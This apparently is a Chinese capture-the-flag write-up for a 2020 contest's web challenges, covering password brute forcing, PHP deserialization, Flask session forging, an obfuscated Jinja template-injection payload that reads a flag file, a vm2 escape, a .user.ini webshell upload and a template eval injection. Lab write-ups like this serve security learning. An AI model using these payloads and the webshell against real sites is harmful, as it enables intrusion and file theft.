尖尖的商店1

直接抓包修改钱数拿到flag

Easy-Baby-Signin

套娃题目,
1.先抓包。用bp弱口令爆破http认证。猜测用户名是admin。爆破得到密码为123456789。
2.查看页面源代码发现给出了图片的base64因为jpg参数可控尝试解码。发现是2次base64和1次16进制转字符串来的。
于是尝试读取源码。把index.php经过1次字符串转16进制和2次base64之后传入jpg。发现了熟悉的PD9直接base64解码得到index.php

<?php
/*do you know magicword.txt?*/
error_reporting(E_ALL || ~E_NOTICE);header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'."Hacked_by_whiskey".'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);if(strpos($file,'test') == false){$txt = base64_encode(file_get_contents($file));echo "<img src='data:image/gif;base64,".$txt."'></img>";echo "Can you find the flag file?";}else{echo "Not here!Try again!";}?>

注释发现还存在magicword.txt,访问

<?php
#atest.php
#GOAL: get the secret;class icanhear {var $mykey; var $myword;}$magicword = unserialize($_GET['magicword']);echo "just tell me the magicword\n";$magicword->myword = "***********";if ($magicword->myword === $magicword->mykey)echo "Sooooo close: ".$magicword->myword;elseecho "Damn  it !";?>

这是一道反序列化题目,需要我们自己构造序列化。题目GET到了一个magicword参数并将其反序列化

构造POC,将其传入magicword访问这个网页
给出了2部分flag,已知flag2的md5前六位的值是1024cc让我们找出flag2.
可以用python写一个脚本爆破

import hashlib
for i in range(1,10000000):res=hashlib.md5(str(i).encode()).hexdigest()if res[:6]=="1024cc":print(str(i))break

爆破得到flag2的值为7900588
flag{wa0_7900588_is_right}

尖尖的商店2.0

100点买的一部分源码:

@app.errorhandler(404)
def page_not_found(e):referrer = request.headers.get("Referer")if referrer is None:referrer = '/'if not valid_url(referrer):referrer = '/?error'html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(referrer)return render_template_string(html), 404

依然是flask框架,这道题考点是flask session伪造
相关资料:https://www.cnblogs.com/zaqzzz/p/10243961.html
先ssti注入获取密钥
session前一部分base64解码得到
{“money”:“1000”}
应该是要伪造session脚本替换session改money
加密命令

py -3 flask_session_cookie_manager3.py decode -c eyJtb25leSI6IjEwMDAifQ.X2_fCA.BNcd6iLFjwXJRjMCqDwLPhEkxYc -s vlmalkdguv923rufkjdsa7823312e

解密命令

py -3 flask_session_cookie_manager3.py encode -t {'money':'10000000'} -s vlmalkdguv923rufkjdsa7823312e

注意没有空格,因为空格被坑了

ezflask

flask ssti 绕过
wendell学长的绕过思路:https://xz.aliyun.com/t/8029

py脚本把字符用过滤器表示出来

payload = '{%set pc = g|lower|list|first|urlencode|first%}{%set c=dict(c=1).keys()|reverse|first%}{%set udl=dict(a=pc,c=c).values()|join %}'
payload = ''
def get_alp(alp, goal):num = ord(alp)result = '{%set {goal}=dict(a={goal},c=udl%({num})).values()|join %}'.replace('{num}', str(num)).replace('{goal}', goal)return result
def get_word(des, goal):
#goal = 'ds2'
#des = '__globals__'result = ''for i in des:result += (get_alp(i, goal))return result
def main():# poc = "url_for.__globals__.__builtins__.open('/flag').read()"i = 0while(1):text = input('>')print('i'+str(i), end=':')print(get_word(text, 'i'+str(i)))i += 1
main()

最终payload:

http://127.0.0.1:19009/?name={%set pc = g|lower|list|first|urlencode|first%}{%set c=dict(c=1).keys()|reverse|first%}{%set udl=dict(a=pc,c=c).values()|join %}{%set ds=dict(a=ds,c=udl%(95)).values()|join %}{%set ds=dict(a=ds,c=udl% (95)).values()|join %}{%set ds=dict(a=ds,c=udl%(105)).values()|join %} {%set ds=dict(a=ds,c=udl%(110)).values()|join %}{%set ds=dict(a=ds,c=udl% (105)).values()|join %}{%set ds=dict(a=ds,c=udl%(116)).values()|join %} {%set ds=dict(a=ds,c=udl%(95)).values()|join %}{%set ds=dict(a=ds,c=udl% (95)).values()|join %}{%set ds2=dict(a=ds2,c=udl%(95)).values()|join %}{%set ds2=dict(a=ds2,c=udl%(95)).values()|join %}{%set ds2=dict(a=ds2,c=udl% (103)).values()|join %}{%set ds2=dict(a=ds2,c=udl%(108)).values()|join %} {%set ds2=dict(a=ds2,c=udl%(111)).values()|join %}{%set ds2=dict(a=ds2,c=udl%(98)).values()|join %}{%set ds2=dict(a=ds2,c=udl% (97)).values()|join %}{%set ds2=dict(a=ds2,c=udl%(108)).values()|join %} {%set ds2=dict(a=ds2,c=udl%(115)).values()|join %}{%set ds2=dict(a=ds2,c=udl%(95)).values()|join %}{%set ds2=dict(a=ds2,c=udl% (95)).values()|join %}{%set i0=dict(a=i0,c=udl%(47)).values()|join %}{%set i0=dict(a=i0,c=udl% (102)).values()|join %}{%set i0=dict(a=i0,c=udl%(108)).values()|join %} {%set i0=dict(a=i0,c=udl%(97)).values()|join %}{%set i0=dict(a=i0,c=udl% (103)).values()|join %}{%set i1=dict(a=i1,c=udl%(95)).values()|join %}{%set i1=dict(a=i1,c=udl% (95)).values()|join %}{%set i1=dict(a=i1,c=udl%(98)).values()|join %}{%set i1=dict(a=i1,c=udl%(117)).values()|join %}{%set i1=dict(a=i1,c=udl% (105)).values()|join %}{%set i1=dict(a=i1,c=udl%(108)).values()|join %} {%set i1=dict(a=i1,c=udl%(116)).values()|join %}{%set i1=dict(a=i1,c=udl% (105)).values()|join %}{%set i1=dict(a=i1,c=udl%(110)).values()|join %} {%set i1=dict(a=i1,c=udl%(115)).values()|join %}{%set i1=dict(a=i1,c=udl% (95)).values()|join %}{%set i1=dict(a=i1,c=udl%(95)).values()|join %}{%for k,v in (app|attr(ds)|attr(ds2)).items()%}{%if (k|string )==i1 %} {{v.open(i0).read()}}{%endif%}{%endfor%}

ezcalc

考点:正则绕过+vm逃逸
源码:

var express = require('express');
var router = express.Router();
const { VM } = require('vm2');function safeEval(calc) {if (calc.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {return null;}return new VM().run(calc);
}
router.get('/', function (req, res, next) {let result = '';if (req.query.calc) {let calc = req.query.calc;result = safeEval(calc);}else {result = '?calc=2-1'}res.render('index', { title: 'ezcalc', result: result });
});module.exports = router;

这里要注意正则表达式,这次还是对正则表达式掌握不熟练。这个正则表达式可以使用Math.xxxxx(xxxx指的是任何单词)推荐一个学习正则的网站:https://regexr-cn.com/
所以可以获取到Math.constructor,获取两次后,就是 Function 对象,就可以可以任意代码执⾏

Hacked by V

1.根据源码可以知道后台目录是/login.php
可以根据题目给的弱口令进去。
2.这里有个可以写入shell的点,我们点编辑,确认上传的时候抓包可以指定目录写入文件。这里我们要先确定什么类型的文件可以被写入。题目给出了源码。
只允许上传这些后缀的文件。看到ini很容易联想到.user.ini文件,这个文件可以让一个指定文件变成php文件,但是前提是当前文件夹中存在一个php文件才可,因为连接webshell的时候是需要使用这个php文件的。我们上传一个.user.ini文件,里面写着auto_prepend_file=shell.htm 这样名为shell.htm的文件就会被php解析。
抓包改包我们通过源码可以发现core文件夹里有很多php文件。于是我们在core里上传.user.ini和shell.htm
修改POST数据分别为

activepath=/template/../core&filename=.user.ini&content=auto_prepen d_file=shell.htm&_ajax=1
activepath=/template/../core&filename=shell.htm&content=<?php $fun = create_function('',$_POST['a']);$fun();?>&_ajax=1

两个包都发送后连接shell
这里要注意要连接其中一个php文件而不是shell.htm!

dangerous-function

题目就是dangerous-function,因此危险函数就是eval函数或者是system()函数,通过搜索可以找到源码中的eval函数。
相关代码片段: 再zzz_temple.php这个文件中解析if标签

function parserIfLabel( $zcontent ) {$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';if ( preg_match_all( $pattern, $zcontent, $matches ) ) {$count = count( $matches[ 0 ] );for ( $i = 0; $i < $count; $i++ ) {$flag = '';$out_html = '';$ifstr = $matches[ 1 ][ $i ];$ifstr=danger_key($ifstr,1);if(strpos($ifstr,'=') !== false){$arr= splits($ifstr,'=');if($arr[0]=='' || $arr[1]==''){error('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');}$ifstr = str_replace( '=', '==', $ifstr );   }$ifstr = str_replace( '<>', '!=', $ifstr );$ifstr = str_replace( 'or', '||', $ifstr );$ifstr = str_replace( 'and', '&&', $ifstr );$ifstr = str_replace( 'mod', '%', $ifstr );$ifstr = str_replace( 'not', '!', $ifstr );if ( preg_match( '/\{|}/', $ifstr)) {    error('很抱歉,模板中有错误的判断,请修正'.$ifstr);}else{@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );}              if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) { // 判断是否存在else                switch ( $flag ) {case 'if': // 条件为真if ( isset( $matches2[ 1 ] ) ) {$out_html .= $matches2[ 1 ];}break;case 'else': // 条件为假if ( isset( $matches2[ 2 ] ) ) {$out_html .= $matches2[ 2 ];}break;}} elseif ( $flag == 'if' ) {$out_html .= $matches[ 2 ][ $i ];}// 无限极嵌套解析$pattern2 = '/\{if([0-9]):/';if ( preg_match( $pattern2, $out_html, $matches3 ) ) {$out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );$out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );$out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );$out_html = $this->parserIfLabel( $out_html );}// 执行替换$zcontent = str_replace( $matches[ 0 ][ $i ], $out_html, $zcontent );}}return $zcontent;}
{if:(eval_code)}相同结果{else}不相同结果{end if}

到这⾥应该能知道这是模板注⼊,⽽⻚⾯中只有搜索框可以注⼊ 这⾥主要⽤到动态函数 多次调试后可以得到 flag ⽅法应该很多

最终payload

 {if:var_dump(((strrev(stnetnoc_teg_elif)))((strrev(edoced_46esab)) (Li8uLi8uLi8uLi8uLi8uLi8uLi9mbGFn)))}

赛博杯2020WP web相关推荐

  1. 蓝桥杯模拟赛第二场(web)

    文章目录 蓝桥杯模拟赛第二场(web) 1 卡片化标签页 2 随机数生成器 3 个人博客 4 学生成绩统计 5 水果摆盘 6 给页面化个妆 7 小兔子爬楼梯 8 时间管理大师 9 购物车 10 菜单树 ...

  2. 第十四届蓝桥杯(Web 应用开发)模拟赛 1 期-职业院校组-知识点题解

    这个题解是参考了"海底烧烤店ai"一位非常优秀的全栈领域创作者的博主写的,自己在看的时候发现个人知识点比较欠缺,所以就在题解下面添加了一些知识点,便于理解. 原博主的文章链接如下: ...

  3. 第十三届蓝桥杯(Web 应用开发)线上模拟赛第一题

    [Bug 调试]修复网站显示问题 特别说明 第十三届蓝桥杯(Web 应用开发)线上模拟赛依托于蓝桥云课线上实验环境打造,可能与正式比赛所使用线下环境有所不同.线上模拟赛侧重于考生了解比赛题型和体验比赛 ...

  4. [ctf misc][wp]一些内存取证的wp(含[2021蓝帽杯北部赛区分区赛]博人的文件)

    wp 1.[V&N2020 公开赛]内存取证 1.找策略 volatility.exe -f C:\Users\shen\Downloads\mem.raw imageinfo 2.看进程 v ...

  5. 第十四届蓝桥杯(Web 应用开发)模拟赛 3 期-职业院校组题解

    第十四届蓝桥杯(Web 应用开发)模拟赛 3 期-职业院校组题解 友情链接 第十四届蓝桥杯(Web 应用开发)模拟赛 3 期-大学组 第十四届蓝桥杯(Web 应用开发)模拟赛 3 期-职业院校组 第十 ...

  6. 智能车竞赛技术报告 | 智能车视觉 - 中国计量大学 - 赛博-10

    学 校:中国计量大学 队伍名称:赛博-10    参赛队员:陈 峰      洪晨辰    毛华斐    带队教师:金小萍    陈东晓    第一章 引言 ■ 1.1 概述   全国大学生智能汽车竞 ...

  7. 大学生创新创业大赛案例_第五届“南博杯”大学生创新创业大赛决赛举行

    来源:东莞时间网-i东莞 11月25日下午,第五届"南博杯"大学生创新创业大赛决赛在广东科技学院南城校区图书馆报告厅隆重举行,本次大赛是南博集团举办,由广东科技学院承办,广州南洋理 ...

  8. 什么是元宇宙、新基建、赛博空间?7个最火科技名词解释,都在这里了

    导读:人们从学术.科幻.政府.产业等角度对数字未来有一系列设想,在过去.现在与未来,这些设想引导我们去探索与创造.这里做简要梳理供你参考. 作者:方军 来源:大数据DT(ID:hzdashuju) 0 ...

  9. 工业机器人九龙坡区职教中心_2020年度机械行业职业教育技能大赛“汇博杯”精密模具智能制造综合技术应用赛项于重庆工业职业技术学院正式闭幕...

    12月24日,2020年度机械行业职业教育技能大赛"汇博杯"精密模具智能制造综合技术应用赛项在重庆工业职业技术学院正式闭幕.来自全国17所院校的25支参赛队伍参赛,赛出了水平.赛出 ...

最新文章

  1. RHEL5系统下故障处理方法
  2. 利用 .NET Framework 命令行工具
  3. 操作系统与虚拟化安全第一次作业-关键习题
  4. ASP.NET Core 基础知识(十四)错误处理
  5. 第七章数组答案C语言,C语言复习题及答案-第七章-数组
  6. ClickHouse之简单性能测试
  7. 过河卒(洛谷P1002题解,Java语言描述)
  8. 调整KDevelop字体大小
  9. Spring-web-RequestContextHolder/RequestAttributes/HttpServletRequest
  10. Linux 内核里的数据结构——基数树
  11. 支持mysql8的客户端_mysql8 参考手册--mysql客户端帮助
  12. String类两种实例化方式的区别
  13. shiro自定义session过期时间
  14. java 修改分辨率_JAVA程序分辨率修改及自适屏修改
  15. shopex网店系统数据库安装失败解决方法
  16. python平安夜代码加文案
  17. 用python爬取拉勾网招聘信息并以CSV文件存储
  18. Lenovo system x3650 M5 Win2016U盘安装过程
  19. JAVA与C、C++比较
  20. ffmpeg截取视频的片段

热门文章

  1. 登录实例失败,原因: 连接实例 i-wz972sda3z2cf3u3t9a1 (47.112.162.228:3389) 超时: 10 秒,请检查网络是否可达或者白名单设置
  2. [学习笔记]什么是存储过程?
  3. Java中有理数类Rational Number详解
  4. Chrome谷歌浏览器关闭弹出Chrome版本太旧提示框
  5. 公众平台 python_微信公众平台SDK Python
  6. FZU 2219 StarCraft (哈夫曼树)
  7. 在c语言中把x和y互换怎么编译,已知int x=10,y=12;编程将x和y的值相互交换
  8. [总结]视频质量评价技术零基础学习方法
  9. linux下刻录光盘读取不了_如何在Linux下刻录数据光盘
  10. A2M人工智能与机器学习创新峰会参会感悟 by江舟